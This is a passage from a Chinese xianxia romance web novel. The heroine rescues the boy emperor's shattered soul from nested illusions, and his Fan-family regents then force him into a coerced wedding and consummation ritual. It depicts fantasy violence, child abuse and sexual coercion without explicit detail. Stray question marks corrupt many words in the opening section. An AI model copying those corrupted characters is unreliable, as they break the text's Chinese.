她见过书中谈及鬼族,但?对鬼族生活的详细描写从来都很少,只说到鬼族天性?同类相残,残忍暴力。寥寥几笔,远不足以视觉给予的冲击大。 天生为鬼的生物,力量强大,渊源可以追溯到上古时代。它们极少出现?在人?间,自有道?法自然束缚。人?间大多是怨念聚集的邪,不知从什么时候开始后天为邪也被称为鬼。 除了一目五和水夜叉是真正的天鬼,她之前所接触害人?的鬼几乎都是邪。 璧水珠子里,那只水夜叉现?了形状,它依然睁一只眼闭一只眼,它第一次开口说话道?:“鬼族,啊,老朽多久没听到这个称呼。过去?太久远,老朽也记不起来。” 它的声音嘶哑,发音古怪,不似人?类,倒像刻意模仿人?类说话。 孟枝枝道?:“云庭在哪儿?” 水夜叉发出低沉的笑声。 孟枝枝立马思索道?:“他也像我一样被困住了。为什么会这样,是你在操控这一切?” 水夜叉道?:“并非老朽。” 孟枝枝四处张望,道?:“怎么从这里出去??” 水夜叉又?变得沉默不语。 孟枝枝意识到,璧水珠里的这只水夜叉并不想帮她,从它捆绑上她开始,一路上它几乎都保持着沉默,云庭的威胁也不能使它开口说话。 可是,她并不知道?它的用意。它究竟盯上了她什么? 它分明知道?很多事,还是他告诉小桃仙和冥七怎么拯救她的办法。她心里突然有个想法,那就是它必不会眼睁睁看她死去?。 她只有赌一把。 若它对她有所求,不想让她死。她便利用这一点。有这只水夜叉给她兜底,她便有信心突破这里,找到云庭,拿到聚集魂魄的法器。 孟枝枝开始全力向上游去?,想从千年深潭底部往上游出去?,是一件几乎不可能的事。 千年深潭,既深不见底,也深不见顶。 但?她不能再往底下去?,底下全是水夜叉和异类水生物,既然如?此,那就只能往上了。 她游了很长一段时间,也没有听见璧水珠里水夜叉说话,说明上面没有危险。 她心里悬石一放,开始大胆地往上冲。 到了某处,就像鸡蛋破壳一般,她感受到脸部有紧绷的拉扯感,她使出吃奶的力气冲破。 突然,听到了什么开裂的声音。 眼前的画面就像画纸被撕毁一般,裂出一条大缝之后,周围的时空都扭曲了起来。 她双目被缝中透来的强光刺痛,她一头?扎了进去?。身?体被巨大的吸力吸住,虽有挤压感,但?一点也不疼。 再次睁开眼,她正坐在一棵柳树下。 云庭正站在她跟前,脚底下一大滩血渍。他双目充血,眼神宛如?要将她生吞活剥了一般。 他一瞬提剑而来,“妖邪必死。” 孟枝枝立马防守,十指夹满咒枣。 但?,还没等她回击,云庭已经?越过她,攻去?她的身?后侧。 她猛地侧过身?,只见云庭切爆了一只鬼物,黑色的汁水溅射出来,哗哗流到地面上。 她看见,云庭起身?抱住了地面上一个孩子。他垂着头?,看不清他的表情,只见他一手用剑撑在地面,一手搂紧着那孩子。 那孩子看上去?很小,像五六岁的样子,穿着染血的碎花布衣服,头?上还扎了两束小揪,原来是个小女孩。她的手里捏着一支花束,小胳膊软软地瘫着,那小花却被紧紧攥在手里。 她分明已经?死去?多时了。 孟枝枝不禁提醒道?:“云庭,这是幻境。” 云庭缓缓抬起头?,他的脸阴沉得可怕,他没有搭理孟枝枝,反将那身?体僵硬的小女孩抱住,缓缓站直了身?体。 他背过身?,走到柳树之下,用了净水符纸将周围的鬼血清洗干净。 他将无尘剑插进土里,在地面挖出一个坑,然后将那个小女孩放了进去?。 他的动作很轻,将小女孩身?上的污渍清理得干干净净,捧起一把又?一把尘土盖在了她的身?上。 孟枝枝没有再开口说话,只等他将动作做完。 等到柳树下升起一个小小的坟包,她从腰间的香囊里掏出一小支桂花,放在了坟包前。 云庭因?她这个动作,身?形微顿。 孟枝枝道?:“她叫什么名字?” 云庭冷道?:“与你无关。” 第43章 第 43 章 他站起身, 将无尘剑拔了出来。他手一划,银白?色的剑在坟包周围划了一个?冰圈,白?色的晶体瞬间将坟冢冻住,同样被冻住的还有孟枝枝送上的那一小枝桂花。 一阵风刮过, 柳枝飞舞, 地上黄沙散漫, 但坟包在冰晶之中被保护得好好的。 云庭将剑收了回来, 转头离去。 孟枝枝跟上他的脚步。 两人一步一趋。 云庭轻瞥了一眼?, 使唤着无尘剑在空气中生生划出一道缝隙。 他竟然知道怎么出去? 孟枝枝突然觉察,云庭或许知道这些幻境到底是什么。 两个?人从缝隙中出来,所处之地竟是别院的大门口。 遍处都?挂着红色绸布,大大的“囍”字贴在了红灯笼之上。 孟枝枝心里一紧。 仿佛她一瞬间被拉回到前一世,赢破和樊盈绣的那场大婚。 她刚要提脚进去, 就被拦住。 云庭道:“这是假的。” 话音刚落,云庭使出剑招将眼?前的画布切了个?稀碎。 眼?前镜像宛如破碎的镜子,生出蜘蛛网般的缝隙,从缝隙中透出微光,哗啦一瞬, 全?部?破开。 孟枝枝用手挡住了眼?睛。 下一个?场景, 依然是虚假的, 很快被云庭捣了个?粉碎。 这一切宛如套娃一般,他们一直身处在幻境里, 怎么都?出不来。她同样见?识到了云庭究竟斩杀了多少个?妖怪——景别变换无穷,冰天雪地到刀山火海,各路崎岖险峻, 令人眼?花缭乱。 孟枝枝用咒枣打掉地面上一只?爬行的蛇妖,累得气喘吁吁, 他们刚刚掉进万蛇窟——蛇妖的巢穴里。 她警惕着周围,道:“云庭,我和你一起被困在这里,你总该告诉我这到底是什么吧?我们为什么会不断掉入到幻境里?” 云庭拿着无尘剑切蛇如切葱,一遇到妖邪,他就像有使不完的力气,整个?人不带一点?喘气。 无尘剑在他身侧一挥,银白?的剑锋上滑落粘腻的血液,滋滋声响,血液瞬间被剑上生长出数道雪花冻住,咔嚓一下,血冻成?的冰尽碎,纷纷掉落在地面上。 他道:“无可奉告。” 孟枝枝道:“你……” 她生气了。 云庭这人从来就没?想过跟人合作过,她是白?费心力。 她腾空飞到半空中,拉起金弓,朝窟中一射,金光在接触到地面的那刻爆炸成?蘑菇云,火焰熊熊燃烧,倒映在她的眼?中。 云庭看着自己被烧焦的衣角,抬头看了她一眼?。 孟枝枝道:“你不说的话,就跟我打一场。我赢了,你必须借我法器。” 云庭落回目光,脚点?地又向下一个?地方飞去。 孟枝枝见?状,立马缠了上去。 她拉出金弓,数只?箭飞了出去,正对云庭。云庭回过头,用剑身去挡,甚至飞的速度更快了。 孟枝枝想,想甩掉她?没?门! 她再次拉长金弓,金箭形成?一个?圈,她在圈中,与金箭齐发,云庭用剑挡箭的时候,她现出身后手上藏着的金箭,猛刺了过去。 用弓箭射是假,她想手中的金箭攻击是真。 云庭依然用剑身去挡,金色箭头与银白?色的剑身激烈摩擦,擦出耀眼?的火花。 赢破将这一切都?看在眼?中。 他重重捶击眼?前透明的光膜,道:“孟芷!” 他眼?中腾然出现杀气,他想亲手捏碎那个?穿白?衣的男人。 他不要命地砸,双手骨头尽碎,眼?圈急得发红。 只?见?云庭欺上孟枝枝,一把银剑向她的心脏刺去。 赢破掌心陡然生出几道黑气,直冲向光膜之上,世界随之一颤。 云庭收剑,孟枝枝立刻稳住身形,二?人停止打斗,目光向四处看去,周围山崩地裂。 “孟……芷!”赢破嘶吼道。 孟枝枝猛地一回头。 眼?前一切事物?如镜子被人砸碎,幻境直接溃败,遁入黑暗。 赢破掉落进一个?空间之中。 他睁开了眼?,自己正身处在稷下学宫的庭院之中。 一双漆黑的眼?睛注视着他,他抬头看去。 一个?身穿皇帝玄服的小孩站在台阶之上,他披散着头发,打着赤脚,身后的太监看似臣服地跪着。 如果不是那小孩肩膀上带着枷项,倒真以为他尊贵无比。 从远处隐隐约约传来稚嫩的读书声,小孩扛着枷项想往外冲,却被一帮太监拦住。 “使不得。” “樊大人说了,你可不能离开这里,外面都是高贵的大臣之子。” 小小皇帝怒斥道:“孤要出去。” 太监堆里发出阴阳怪气的笑声,“你莫不是想和那些公子小姐们一样读书?你怎么配呢?” 一双手将小小皇帝强摁了下去。 小小皇帝涨红了脸,不断反抗,每一次腰杆直了起来,又有一双接一双的手不断将他摁了下去。 当他的脸被摁贴在地面上,睁着那双还稚嫩的漆黑眼睛深深地望着赢破。 赢破看着,抬起脚,冷漠地走过他们。 画面又是一转。 赢破看见?那个?半大的小小皇帝,对着落单的小宫女像野兽一样呲牙咧嘴,身上头发乱蓬蓬的,衣服在逃脱之时被扯得破破烂烂,瘦削的胸膛露着,肋骨根根分明。 小孩儿抢过小宫女手中端着的狗食,狼吞虎咽。 小宫女瘫软在地,头上的金钗掉落一地,“鬼!鬼啊!” 那时候,小宫女身上的衣服都?比他干净、华贵。 小宫女冷静了片刻,发现眼?前这人不过是个?小疯子,便走到他的跟前,扇了他一巴掌,又掀翻他手中的狗盆,狗食泼洒在地面上。 小孩儿不知羞耻,推开小宫女,立马跪上去,伸出舌头去舔,地上每一粒米都?被他舔进了肚子里,漆黑的眼?睛全?是餍足。 赢破居高?临下地看着,步伐调转,朝前走。 那些不堪的回忆,一帧一帧,如同连环画一样向赢破逼近。 无数个?自己出现在他周身,无数双漆黑的眼?睛看向他,无数张嘴异口同声。 “你为什么不改变这一切?” “你就是个?窝囊废!” 赢破面色阴沉,道:“滚。” 他抬起原本骨碎的双手,将这些“自己”通通推开,双手鲜血淋漓,渗透进两侧的衣服上,一滴一滴落在回首的路上。 他的步伐踉踉跄跄,坚定不移地朝前走。 然而无数个?他扑到他的身上,拦住他,像叠罗汉一样全?堆到他身上,啃噬着他的身体。 他只?有一颗头裸露在外面,被压得喘不过气,眼?底的阴郁满得就要溢出,掌心的血气如丝状消逝。 “落轿。恭请小贵人下轿。” 赢破看见?离他不远处,孟枝枝穿着一身喜服从一顶小红轿里走出,她睁着一双熠熠生辉的眼?睛,好奇地张望着别院一切。 别院破败不堪,但婚服少女却喜悦难抑,她冲他一步一步走过来。 “孟,芷。”这个?字从赢破的嘴里艰难地挤压出来。 然而孟枝枝仿佛看不见?他,少女满怀欣喜,踏越过他,踩进了别院的大门。 他躺在地面上,看见?孟枝枝独守空房,无尽地等待,无尽地驻足徘徊。从破烂的别院到富丽堂皇的宫殿,她住的地方越来越大,身上的衣物?越来越华美,神色却越来越痛苦阴郁。周围连绵不断的黑色瘴气缠绕着她,渐渐她的身体如同那些院角缠绕枯萎的蔷薇花一样衰败下去。 赢破艰难地拔起身子,撞开那些“自己”。 无数个?他张了嘴:“你竟然挣脱得开?” 赢破浑身血淋淋,一步一步地朝孟枝枝爬了过去。 “放弃吧,她不会要你。” 赢破满口鲜血,牙缝渗进血液,道:“她,不,会。” 他无视那些声音,爬到了孟枝枝跟前,但她看不见?他。 他身处在无尽的黑中,身后数只?手拖拽着他,而另一边是孟枝枝站立在破败的别院中。 宫殿大门开启,现出一个?人。孟枝枝回头一见?,立马冲向那个?人的怀抱之中。 赢破身体僵滞。 “看吧,如此卑贱窝囊的你,怎么会有人为你驻足停留呢?她是医仙,你是什么?一个?羸弱的人类傀儡,一个?和狗抢食的叫花子,一个?疯狂的癫子,你配得上她吗?” “别忘了,你天生无心,你怎么会懂爱一个?人呢?你有爱过谁吗?你谁都?没?爱过。” 赢破眼?睁睁地看着孟枝枝在那个?人怀里笑得甜蜜,二?人颈项交织,亲吻在一起。 他嫉妒得发狂,眼?红得生疼,泪从眼?中流出,很快被啃噬得一空。 他吼道:“滚,都?给?我滚开。” 这声炸响,他身上的幻影全?都?消散,身上一轻,他像刚刚学会站立的野兽一般爬了起来,一步一步朝着孟枝枝走去。 那人离她而去,孟枝枝驻足在宫殿大门,背影落寞至极。 “孟芷。”赢破身上被啃噬出大大小小的洞,一只?眼?睛空了,破碎不堪。 他站在孟枝枝跟前,堪堪稳住身形。 “跟我走。” 孟枝枝转过身,她的泪从脸庞滑落下来,发出很轻很轻地喟叹。 “赢破,我们回不去了。” 赢破道:“为什么?” 孟枝枝露出悲伤的表情,讥讽道:“你都?忘记了吗?” 赢破脸上破洞如黑夜恶魔可怕,所剩下一只?漆黑的眼?睛,显露出几分天真懵懂。 孟枝枝表情一变,狠狠推开他。 “你就是个?怪物?,你是在企盼我爱你吗?你害死了那么多人,践踏世间万物?,践踏我,你怎么敢企盼呢?” “我永远不会爱你,我恨你入骨,天长地久。愿天神祝愿,孟枝枝此生再不见?赢破。” 一瞬间,她的身上开出枯萎的蔷薇花,它们疯狂吸掉她所剩无几的生命力。 赢破大喊:“不要。” 他双手去握,孟枝枝的身体消散在空气中。 赢破双唇蠕动,漆黑的眼?睛里不断流出泪,心口从未如此痛过。胸口显出一颗红色的心脏形状,周围鲜红的血管如张开的枝桠延申出去。那颗红色的心脏在剧烈地跳动,每泵一下,痛苦就像潮水一样奔涌而来,一次比一次更痛,湍急汹涌。 他痛不欲生,灵魂叫嚣绝泣。 那些邪影扑上他的身体,继续啃噬着他。他驻足原地,没?有一点?反抗,任凭血肉被吃掉。 小桃仙第一个?发觉小皇帝的身体不对劲。 怎么好端端的人就要没?了? 这人的嘴越来越白?,身体越来越僵硬,一看就要嗝屁了。 她赶紧用施展法术,给?孟枝枝传出秘信。 孟枝枝收信后,心一下子收紧。 她停止跟云庭没?完没?了地打下去。 她开门见?山道:“云庭,你来皇都?为的就是寻找那只?千霄宫丢掉的大妖吧?” “不,准确地说,是一只?鬼族。” 她抬眸,眼?神凌厉。 第44章 第 44 章 云庭身?后, 无尘剑的剑影张牙舞爪地冲她张开?。 孟枝枝道:“你说如果天下人皆知千霄宫不仅一直在欺瞒各家仙门?,甚至还让这只鬼族逃出来了,会怎么样?” 云庭眼中阴沉,他道:“你胡说八道的能?力倒很强。” 孟枝枝道:“我?没?时间?跟你纠缠, 长话短说。如此重叠又深探人心的幻境, 除了鬼族有这个能?力, 一般的妖怪根本做不到。妖族不同于鬼族, 鬼族难寻, 妖族却与人类共处数千年?,早已互相知晓,若是哪只大妖有这本事,肯定会被仙界记录在案。而这幻境如果破了就能?出去,你就不会使动了无尘剑还出不去。况且我?在皇都呆了这么多年?, 从前从未出现过这样的情况,而这一切皆是从千霄宫捉回那只逃掉的大妖开?始的。” 孟枝枝直直地看着他,道:“我?要救一个人。他快死了。请你借我?法器一用。用完,我?就还给你。” 眼看已经?掩盖不住这个秘密,云庭将?无尘剑缓缓收起。 她的敏锐和聪明令他十分讨厌, 但?是她没?有学会如何威胁别人。 若是他在此地杀了她, 这个秘密同样也能?被掩盖住。她是散修, 无门?无派无根基,要对付也很好对付。她是真的不知道? 怕是那人快要熬不住了。 她做到这般, 一切只是为了救一个人。这一瞬,他想起了自己?。 他道:“你一定要救他?就算代价是你的一条命?” 他看见?她的眼底聚拢了一些光亮。 只听少女道:“我?必须一试。” 云庭侧过身?,声音冷漠:“你只有半个时辰的时间?, 时辰一到,无论你有没?有回来, 我?都会回收法器。” 孟枝枝坚定道:“我?会尽快赶回来。” 他从腰间?囊中取出一物,那是一把破烂的油纸伞,谁也想不到这是引魂的法器。 引魂伞,不光能?引出活人之魂,并且对寻魂而言,只要有一丝生气,世上魂魄皆能?有迹可循。 孟枝枝接过引魂伞。 她一刻也等不了,连防护阵也没?施展。一把将?引魂伞打开?,自己?置身?于伞下,隔绝天日。 她闭眼捏诀。 她默念道,引魂伞,快带我?去赢破魂魄在的地方。 她的魂魄抽离了出去。云庭见?状,手一挥,给她周身?设下防护罩,拿出香炉点上一根香,自己?盘腿而坐,将?无尘剑插在了身?旁。 风卷声啸,时空飞渡。 孟枝枝睁开?眼,看见?底下一条巨大的黑河涌动,河中滚动着无数股粘腻的泥状物,密密麻麻,多得就像沙漠里的沙子。 它们纷纷聚集到一处,在啃噬着一个人。 她定睛一看,那人竟是赢破。 她赶紧下身?,将?这些邪影都驱散开?。 “赢破!” 她落到他身?边。 赢破身?上被咬出数个窟窿,他一整张脸所?剩无几,眼眶里只剩下半只眼球。 他的魂魄残破有缺。 孟枝枝这下总算明白为什么小?桃仙说赢破的身?体撑不住了。 魂魄破损,身?体也会随之毁灭。 就差一点,赢破的魂魄就被彻底吞噬尽了。 她无法带他回去。如今只要轻轻一动,赢破的魂魄说不定就灰飞烟灭,当务之急,是她要替他修补魂魄。 但?这魂魄如何修补呢? 她只有不到半个时辰的时间?了。 黑河之中,无数的泥状邪影对他们虎视眈眈,发出了贪婪的吞咽声。 “孟,芷。”赢破残破不堪的魂魄发出丝丝微弱的声音,“是,我?,没?保护好你。是我?,错了。” 她不知道赢破究竟经?历了什么幻境,他分明现在都看不见?她,却还在念叨她的名字。 孟枝枝道:“我?会带着你一起活着出去。” 她心一凛,她腾空而起,魂魄发出耀眼金光。 事到如今,只有一个办法。 她要杀光整条河里所?有的邪影,让它们把赢破的魂魄吐出来! 金光乍现,冲击整条黑河。 无尘剑嗡鸣,云庭睁开?了眼睛。 这个世界马上就要崩塌了。 他视线移到孟枝枝脸上,她面无血色,忽而喷出一大口鲜血。 他立马上前点住她的几个穴位。 孟枝枝魂魄归体,七窍流血。 云庭探察她的身?体,道:“你的魂魄……” 孟枝枝擦了擦嘴角的血,道:“我?把人救回来了。说好了半个时辰,聚魂伞,还你。” 聚魂伞下出现一个少年沉睡的魂魄。 孟枝枝身?体如坠冰窖,每根手指都失去血色,透着青灰色。她的脸上出现充满死气的乌紫色血管纹路,但?她依然尽力将?赢破的魂魄装进了自己?腰间?的香囊中。 她又将?香囊取下,艰难地放到自己?胸怀中。 她垂首道:“这件事谢谢你,我?知道你说半个时辰,是因为引魂伞只能?引出活人的魂魄半个时辰,超过时限,活人的魂魄会反被引魂伞吸收吞噬。我?看过书的。” 云庭瞳仁微缩。 少女终于体力不支,倒在地面上。 在这场生死幻境里,云庭仰望天空,自问自己?当初拜入仙门?,是为了杀光世上所有妖邪,不再有人受苦。 他手握无尘剑,道:“魇灵,你逃了这么久,引我?入梦,是想破我的道心?不过你错了,斩妖除邪之路艰苦,再重来一遍,我依然要杀。” “你该后悔,不该让她出现在幻境之中。” 云庭闭目,面额上出现白色的豹纹,冰天雪地,天上下着鹅毛大雪,地上生出无数尖锐冰晶尖刀。 “人剑合一,灭。” 孟枝枝睁眸的一瞬,发觉自己?躺在了别院的西厢房中。 小?桃仙正守在她床头,眉头紧皱着。 “赢破呢?”孟枝枝几乎从床上弹了出来。 小?桃仙将?她摁了回去,道:“你急什么啊?他没?死,你该关心下你自己?好吗?你怎么搞的,我?答应你让你找到法器去寻他的魂魄,可你自己?的魂魄呢?” 她抓住孟枝枝的手腕,妖力往灵脉里探。 孟枝枝想要阻止,却发现自己?法力施展不出,却是连阻挡小?桃仙都做不到。 她喉头涌出一股甜腥,嘴角缓缓滴落鲜血。 小?桃仙眼神一震,赶紧用妖力去平复她的气血,道:“魂魄十有八损,伤身?治疗易,伤魂要医难。你还要不要命啦?” 孟枝枝将?血硬生生咽了下去,道:“我?是医修,救人当求尽力。我?损失魂魄还可以凭借修为支撑,但?他做不到。” 小?桃仙戳了一下她的额头,道:“你也知道你是医修,不是大罗金仙,魂魄比肉身?还重要,这个道理你不知道吗?” 小?桃仙气地坐在床上,道:“这下可好,我?没?办法帮你了。你的魂魄烂成那样,只要一运灵力,就是自找死路。灵药无用,这世间?还有什么东西能?修好你的魂魄……” 她苦恼地抓着自己?的头发。 孟枝枝抓住她的手,道:“小?桃仙,没?关系。我?很好,你看,我?只要不运灵力,一切都好。” 小?桃仙道:“那你还要找你师父吗?” 孟枝枝气弱道:“要找的。” 小?桃仙不想再戳她的伤心事,可心中气闷至极,道:“别让我?看见?那个皇帝做对不起你的事,不然我?第一个不放过他!” 孟枝枝心中无奈。她不知道怎么跟小?桃仙解释这回事。 “小?桃仙!那个皇帝今夜就要和樊家小?姐拜堂了。”冥漆从屋外化形进来。 他正面撞上孟枝枝那双睁开?的眼眸,不由惊喜道:“枝……枝,你醒了!太好了,你都昏迷整整七天了。” 小?桃仙蹦跶一跳,用头狠狠顶了一下冥漆的脑门?。 “哎哟。” 小?桃仙道:“你叫什么叫,冥漆,你是不是找死啊。那个狗皇帝简直欺人太甚,姑奶奶要找他讨个说法!” 她撸起袖子就要往外干。 冥漆立马拦着她,道:“小?桃仙,别冲动。” 小?桃仙被他夹在腰上,道:“冥漆,快把我?放下来!别人不知道,你难道还不知道吗?傻狍子为那狗皇帝吃了多少苦头,妖都有感恩之心,人怎么会没?有?他醒来之后竟然还不忘去找那个樊家小?姐成亲,成他祖宗的亲,真是气死我?了!” “小?桃仙,你冷静一点。” “我?冷静,冷静个屁。快放我?下来,不然我?连你一块揍。” 孟枝枝按住脖颈,想克制从喉头传来的痒意,她缓缓从床上下来。 她道:“我?想一个人休息下,拜托。” “那枝枝,你早点休息。”冥漆背着小?桃仙推门?而出。 冥漆将?小?桃仙放了下来,小?桃仙掐着冥漆的胳膊肉,道:“都怪你!” 冥漆吃痛,身?体向后倒。 小?桃仙肉眼可见?的紧张起来,下意识伸出手去抓。 没?想到冥漆自己?站直了身?体,笑?呵呵揉着被掐过的地方,“小?桃仙,别担心,我?不疼,一点都不疼。” 小?桃仙背过身?去,暗恼不已,“大傻子……谁担心你了。” 天色渐晚,孟枝枝走出房门?,看见?别院张灯结彩,处处挂着红灯笼,红绸从头连到尾,寓意着子孙后代连绵不绝。 与她过去记忆中的一模一样。 不知为何,她心中竟然感到一丝安慰。她所?作的一切,皆无愧于心。她还活着,南元国将?一切安好,这些是最重要的。 她想咳嗽,硬生生止住。 周围的太监不敢看她,纷纷低下头,忙活自己?手中的事情。 孟枝枝走了几步,就开?始头晕目眩,她咬着牙,再走出几步,两腿发软,就要摔倒出去。 一个拦腰抱,孟枝枝想看清抱着自己?的人。 “小?孟女官,我?送你回去。”来人竟然是樊鸣。 孟枝枝冷了语气,道:“不劳烦樊大人,放我?下去。” 樊鸣笑?意不达眼底,压低了声音道:“小?孟女官,劝你安分一些。今夜将?有五湖四海的道士聚集皇宫,你房中的两位朋友怕是危矣。” 孟枝枝冷道:“你们想做什么?” 樊鸣迈进西厢房,将?门?缓缓合上,将?她放到床上,道:“这事你莫要管,好好养病,保住龙嗣,你还有一条活路。一切已成定局,你自身?难保,何必再管他人之事。” 孟枝枝捂嘴咳嗽,喉头又是一股腥甜,嘴角染上鲜艳的红,与雪白的肌肤形成鲜明对比。 樊鸣目光落到她的唇角,指腹伸了过去,孟枝枝将?脸撇了过去。 她抬起冷冷的双眸,红唇开?启:“樊大人,凡事皆有因果,你就不怕报应今日降临?” 樊鸣笑?了,道:“我?权当你是在祝我?美梦成真。” 他伸出手,指腹往她嘴角一擦,娇嫩的感觉留在他的指纹上,酥酥麻麻。 孟枝枝再不止住咳嗽,口吐鲜血,这一吐,直接吐到了樊鸣的脸上。 她一双眸子直直地看着。 樊鸣脸上挂着零零星星的鲜血斑点,他轻轻抹去,低头闷笑?,道:“今夜舍妹与陛下拜堂,你心有怨气也正常。早些休息。” 说罢,他转身?离去。 孟枝枝头晕眼花,就看见?眼前几个樊鸣的背影同时在打转。心里也松了口气,瘟神总算走了。 以她现在的状态,无力战斗。听樊鸣的口吻,樊家想要小?皇帝和樊盈绣成亲,似另有所?图,他们暂时无碍。 她掏出一张符纸向小?桃仙和冥漆传了信,让他们今夜先暂避风头,做完一切,又禁不住昏昏沉沉睡了过去。 天色渐黑,樊鸣带着驻守军站在别院,仰头望着天上圆月。 大太监钱喜不由叹道:“月亮如此圆满清润,不知广寒宫上的仙女又有多温柔如水。” 樊鸣道:“仙女?” 钱喜惶恐,道:“奴才一时胡言乱语,大人切莫当真。” 樊鸣舌齿碾磨:“仙女的脾气可不太好。” 钱喜摸不着头脑,“大人所?言是……?” 樊鸣抬眸道:“来了?诸位道师。” 一群人齐齐落入此地,掀开?墨色斗篷,恭敬地抱拳。 樊鸣道:“这里就交给诸位道师,请务必保证舍妹的安全,让成亲仪式如期举行。樊家会记下诸位的恩情,必不后忘。” 众人齐声道:“遵命。” 此时,风起云涌,阴风阵阵。 别院之中,红灯笼之中烛火摇晃,红绸花飞舞。 赢破头绑红丝带,穿着一身?大喜大红的婚服。他双膝下跪,头深埋了下去,在他跟前站着之人是樊鸣。 樊鸣道:“陛下,你想去哪儿?” 赢破抬头看他,红色绑带飘飞缠绕嘴边,一字一句道:“孤要见?孟芷。” 樊鸣一脚踩在他的肩膀上,狠狠踩了下去,赢破的身?体渐渐下沉。 樊鸣道:“我?刚刚见?了她,她说,她不想见?你。有件事忘记告诉你,舍妹曾找过她,想要她来顶替与你成亲,但?是你知道小?孟女官说了什么?” 他微微垂眸,眼神中含着鄙夷。 “她说,她不愿意。” 赢破猛地抬头,漆黑的眸子如火焰忽明忽灭,咬牙切齿道:“你撒谎。” 樊鸣道:“陛下,你不信,不如回去问问舍妹?” 赢破心如刀绞,他朝着西厢房位置一步一步跪爬过去,红血丝布满眼球,偏拗道:“孤要见?孟芷。” 樊鸣又是一脚将?他踩趴在地上。 “你见?了又如何?前几日每夜趁人不备,偷溜出来看她,有何用?你害得她重伤昏迷,她恨你都来不及,又怎么会愿意见?你?” 赢破的脸紧紧贴着地面的石子,很快皮肤被刺破,流了一地鲜血,还在拼命挣扎。 樊鸣冷冷地看着,“不要忘了,你想当真正的皇帝,樊家便成全你,让你同二?小?姐成亲。或者你要想让孟芷知道,你是个三?心二?意的人渣?” 赢破身?体一滞。 那方来报,在樊鸣耳边低语一声。 樊鸣眼中藏不住的戾气,对他们道:“看好陛下,别让他离开?别院。” 他快步离开?,周围的太监和侍卫无一人敢上前搀扶赢破。 赢破从地上爬了起来,头发尽散,容颜狼狈,身?上扑簌簌掉落泥土和灰尘。 他一瘸一拐地走进西厢房,也无人敢拦他。 第45章 第 45 章 黑灯瞎火, 孟枝枝半睡半醒,隐约察觉有一人凝视着自己。 她警惕道:“谁?” “是我。” 孟枝枝微微松缓了下来,“你怎么会来?” 赢破跪在她的跟前,脸上的血顺着下巴滴落到地面?上。 “我来看你, 看完你, 我就去成亲了。” 孟枝枝眼前是茫茫的一片黑, 道:“我祝贺你得偿所愿。” 赢破胸口一闷, 熟悉的绞痛之感又上心头, 道:“你真心祝我?” 孟枝枝道:“恩,如?果真能得樊家帮助,他们?视你为自己人,你以后会更加安全,如?果有机会以后希望你能当一个好的皇帝。” 她忍不住强烈咳嗽, 一把捂住了嘴,喉头涌上的大量鲜血被她吞咽了下去,掌心的残血被她偷偷握成拳,藏在了身侧。 赢破心口密密麻麻的酸胀,他伸出一只手, 五根指头几乎快要揉碎胸口的喜服。 孟枝枝两手摸着黑, 道:“你还在吗?” 赢破抬眸, 黑暗中,漆黑的眸子凝望着孟枝枝的脸, 道:“在,我要走了。” 孟枝枝道:“好。” 赢破道:“你继续睡吧。你睡着之后,我再走。” 孟枝枝觉得眼皮十分沉重, 缓缓闭上眼,道:“嗯。我就不送你了。” 她很快睡着了。 赢破的目光落到在她脸上的每一寸肌肤, 贪恋地不肯离开。 一道声音出现他的耳边。 “你现在太过?无用,连见她一面?都这么困难,还谈什么与她厮守?” 赢破沉默地跪着。 “你能这么轻易被樊家那小?子拿捏,是你没有力量。看看你,身为人皇,过?得连猪狗都不如?,如?果我是女人,我也看不起你。” 这道声音是自那日他醒来之后,就一直跟着他。 像极他小?时候遇见的一只想吸他精气的灵怪,便是如?此用语言蛊惑着他。最后他的精气被吸了个干干净净,面?如?枯槁,是樊鸣带来了道士杀了那只灵怪,而他花了数天才?恢复过?来。 他不愿意搭理?它,却也无法赶走它,就只能容忍它像苍蝇一样在他耳边叨叨念念。 赢破爬起来,往门走。 “你想放她离开吗?” 赢破下颚一瞬绷紧。 “如?果我是你,我就杀了所有阻碍的人。要不要我来帮你?” 赢破置若罔闻,走出了房间。 狂风大作,吹得他长?发乱舞。 他抬头看见天上圆月,漆黑的眸子沉沉地盯着它。 * “起阵。” 别院外?数名道师点香炉,挥拂尘,竖经幡。 地上起了浓雾,数人默念道文。 樊鸣对身后人道:“押二小?姐跪下。” 身穿喜服的樊盈绣被摁下身来,她露出满脸愤恨,道:“樊鸣!你凭什么指使我?你区区一个卑微的贱子,我才?是樊家唯一的血脉。” 樊鸣半蹲下来,冷笑道:“二妹,多亏你是樊家唯一的血脉,不然爹怎么会让你和皇帝成亲生子?过?了今晚,等你诞下他的孩子,随你愿当皇后,还是奔入仙门,樊家只要这个孩子,再不会有人管你一分。” 樊盈绣眉中红痣嗔怒,道:“我要见爹。” “爹正在闭关,谁也不见。” 一位道师提醒道:“吉时已到,新人可以拜堂成亲了。” 樊盈绣挣扎道:“我不拜,樊鸣,你这个小?人!不要以为我不知道,你对孟枝枝有意。你是一石二鸟,既除了阿破这个威胁,又可以将我这个眼中钉赶走。” 樊鸣无视她,道:“将陛下请来。” 赢破如?牵线木偶被人押解而来。 一对貌合神?离的新人跪在了蒲团之上。 樊鸣道:“开始。” 念诵道文的声音连绵不绝。 樊盈绣感觉自己小?腹中烧,整个人手脚发软。她看见眼前出现一幅幅画面?,令她眼花缭乱,那是苟合的男男女女,只一瞬,她便什么都明?白了。 这是幻术,教人房中之术,被修仙者用于结道侣前的仪式。 她惊吓地往后退去,对即将到来的命运避之不及。 只听樊鸣令下,道:“给?二小?姐和陛下脱衣。宰相?大人说了,要亲自见证陛下和二小?姐行完周公之礼。” 樊盈绣拼命踹腿后蹬,被力气大的嬷嬷摁住脱去了外?衣。 赢破跪在那里,侍卫上前,他的目光阴沉沉,脸上还在流血也不见他动一动眉毛,实在令人渗得慌。侍卫大着胆子,将他摁压在地面?上,手上的动作粗鲁不已。 道师们?念道文的速度越来越快,地上起的雾也越来越浓厚。天空的月亮渐渐发红,大得仿佛要朝地面?压过?来。 一位长?眉道师手做莲花状,正闭眼念诵经文,他左耳一动,“什么声音?” 众位道师同时也听见了那个声音。那声音极其古怪,像什么在摩擦,时不时发出尖锐的声音,透着阴森之感,令他们都不由起了鸡皮疙瘩。 有人喊道:“快看,月亮上!” 他们?纷纷睁眼抬头去看,天空中的月亮不知什么时候彻底变成了血红色,从中间裂出一条缝隙,那缝隙中爬出了一只又一只非人生物,它们?长?得丑陋无比,身上的皮肤裂开,里面?透着森森白骨和湿潮的红色血肉,它们?看着地上的人们流露出嗜血的目光。 “是……是鬼!此地……此地是鬼母封印之地。是鬼母生子了,鬼母生子了!” 